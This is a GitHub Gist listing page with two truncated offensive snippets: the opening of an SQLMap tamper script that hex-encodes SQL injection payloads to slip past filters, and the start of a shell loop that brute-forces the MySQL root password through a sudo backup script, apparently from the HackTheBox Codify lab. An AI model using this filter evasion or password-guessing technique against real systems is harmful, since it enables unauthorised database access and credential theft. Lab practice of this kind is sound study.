Skip to content

Instantly share code, notes, and snippets.

@m3m0o
m3m0o / hex-entity-encode.py
Created October 6, 2025 12:59
SQLMap Tamper to Convert Payloads Characters to Hex Entities
#!/usr/bin/env python3
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
@m3m0o
m3m0o / get_db_password.sh
Last active December 27, 2023 23:46
HackTheBox Codify - Script to get mysql root password
password=""
while true; do
password_check=$(echo "$password" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)
if [ $password_check -gt 2 ]
then
echo "$password"
break
fi